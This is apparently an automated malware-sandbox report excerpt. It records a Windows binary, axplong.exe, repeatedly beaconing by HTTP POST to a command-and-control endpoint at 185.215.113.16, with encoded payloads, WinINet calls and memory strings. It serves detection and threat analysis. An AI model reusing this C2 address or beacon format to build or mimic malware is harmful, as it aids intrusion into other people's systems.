Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09

Source: Joe Sandbox View

IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Code function: 6_2_00F8BD60 InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,

6_2_00F8BD60

Source: unknown

HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s

Source: axplong.exe, 00000006.00000002.2996262320.00000000015FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php
Source: axplong.exe, 00000006.00000002.2996262320.0000000001617000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php$
Source: axplong.exe, 00000006.00000002.2996262320.0000000001617000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php)G
Source: axplong.exe, 00000006.00000002.2996262320.00000000015E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php.
Source: axplong.exe, 00000006.00000002.2996262320.0000000001617000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php:V
Source: axplong.exe, 00000006.00000002.2996262320.0000000001617000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php;
Source: axplong.exe, 00000006.00000002.2996262320.0000000001617000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpB
